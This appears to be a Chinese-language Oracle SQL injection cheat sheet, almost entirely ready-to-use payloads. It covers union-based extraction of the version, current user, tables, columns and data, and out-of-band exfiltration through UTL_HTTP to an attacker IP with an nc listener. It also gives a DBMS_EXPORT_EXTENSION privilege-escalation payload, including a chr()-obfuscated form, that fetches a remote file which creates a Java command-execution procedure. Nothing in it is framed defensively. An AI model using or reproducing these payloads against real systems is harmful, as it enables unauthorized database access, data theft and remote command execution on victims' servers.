①判斷是否爲Oralce數據庫:
And 0<>(select count(*) from dual) 返回正常頁面表示爲Oracle數據庫
②猜解字段數量:
使用order by 或者group by逐個提交數字 直到回顯錯誤頁面
③列出字段數目 好比6個字段數目
and 1=1 null,null,null,null,null,null from dual—
由於ORACLE數據庫是不自動匹配數據類型的,而null能夠匹配任意數據類型,因此這樣提交不會報錯。 提交它返回了正常頁面.
如今來檢測當前字段的數據類型,在null的先後加上‘’引號,若是返回正常則說明該字段爲字符型,若是返回錯誤有多是數字型的,若是不是數字型,那麼就是其它類型
例如提交語句: and 1=1 union select null,’null’,null,’null’,null,’null’ from dual–
④讀取Oracle數據庫版本:
把回顯的數字替換成 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,’4′,5,’6′ from dual–
⑤讀取Oracle當前數據庫鏈接用戶名:
and 1=2 union select 1,(select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual),3,’4′,5,’6′ from dual–
⑥讀取當前網站的操做系統的版本:
and 1=2 union select 1,(select member from v$logfile where rownum=1),3,’4′,5,’6′ from dual—
⑦讀取表名:
and 1=2 union select 1,TABLE_NAME,3,’4′,5,’6′ from USER_TABLES–
⑧讀取表中字段名:
and 1=2 union select 1,COLUMN_NAME,3,’4′,5,’6′ from COLS where TABLE_NAME=’要爆的表名’–
⑨讀取表中字段名的數據:
and 1=2 union select 1,NAME,3,’4′,5,’6′ from 字段名–
——————————–
⑩判斷UTL_HTTP包是否存在 :
select count(*) from all_objects where object_name=’UTL_HTTP’
利用UTL_HTTP注入 :
在本地用NC監聽,使用’and UTL_HTTP.request(‘http://IP:2009/’(查詢語句))=1–的形式 . 本地先 nc -l -vv -p 2009,而後提交
‘and UTL_HTTP.request(‘http://IP:2009/’(select banner from sys.v_$version where rownum=1))=1–
‘and UTL_HTTP.request(‘http://ip:2009/’(select owner from all_tables where rownum=1))=1– 爆出第一個庫
‘and UTL_HTTP.request(‘http://IP:2009/’(select owner from all_tables where owner<>’第一個庫名’ and rownum=1))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’(select owner from all_tables where owner<>’第二個庫名’ and owner<>’第一個庫名’ and rownum=1))=1–
爆表 :
‘and UTL_HTTP.request(‘http://IP:2009/’(select TABLE_NAME from all_tables where owner=’庫名’and rownum=1))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’(select TABLE_NAME from all_tables where owner=’庫名’and rownum=1 and TABLE_NAME<>’第一個表名’))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’(select TABLE_NAME from all_tables where owner=’庫名’and rownum=1 and TABLE_NAME<>’第一個表名’ and TABLE_NAME<>’第二個表名’))=1–
爆表列:
‘and UTL_HTTP.request(‘http://IP:2009/’(select count(*) from user_tab_columns where table_name=’表名’))=1– 第一個表列名
或者
‘and UTL_HTTP.request(‘http://IP:2009/’(select * from user_tab_columns where table_name=’表名’ and rownum=1))=1– 第一個表列名
‘and UTL_HTTP.request(‘http://IP:2009/’(select * from user_tab_columns where table_name=’表名’ and rownum=1 and COLUMN_NAME<>’第一個爆出的列名’))=1–
爆字段值:
‘and UTL_HTTP.request(‘http://IP:2009/’(select 表段 from 表名 where rownum=1))=1–
‘and UTL_HTTP.request(‘http://IP:2009/’(select 表段 from 表名 where rownum=1 and 表段<>’第一個表段值’))=1–」
利用SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函數 獲取系統權限 :
‘and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘FOO’,'BAR’,'DBMS_OUTPUT」.PUT(1); utl_http.request (‘http://www.xx.com/1.txt’) END;–’,'SYS’,0,’1′,0)=0–
假如提交後返回該頁沒法顯示。換成char() 形式後and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)chr(70)chr(79),chr(79)chr(39)chr(44),chr(39)chr(66)chr(65)chr(82)chr(39)chr(44)chr(39)chr(68)chr(66)chr(77)chr(883)chr(95)chr(79)chr(85)chr(84)chr(80)chr(85)chr(84)chr(40)chr(58)chr(80)chr(49)chr(41)chr(59)utl_http.request(chr(39)chr(104)chr(116)chr(116)chr(112)chr(58)chr(47)chr(47)chr(119)chr(119)chr(119)chr(46)chr(108)chr(105)chr(45)chr(116)chr(101)chr(107)chr(46)chr(99)chr(111)chr(109)chr(47)chr(49)chr(46)chr(116)chr(120)chr(116)chr(39))chr(69)chr(78)chr(68)chr(59)chr(45)chr(45)chr(39),chr(39)chr(83)chr(89)chr(83)chr(39),0,chr(39)chr(49)chr(39),0)=0–
遠程地址的1.txt內容爲 :EXECUTE IMMEDIATE ‘DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 」CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED 「JAVACMD」 AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command);}};」;END;’
有事鏈接個人qq哦: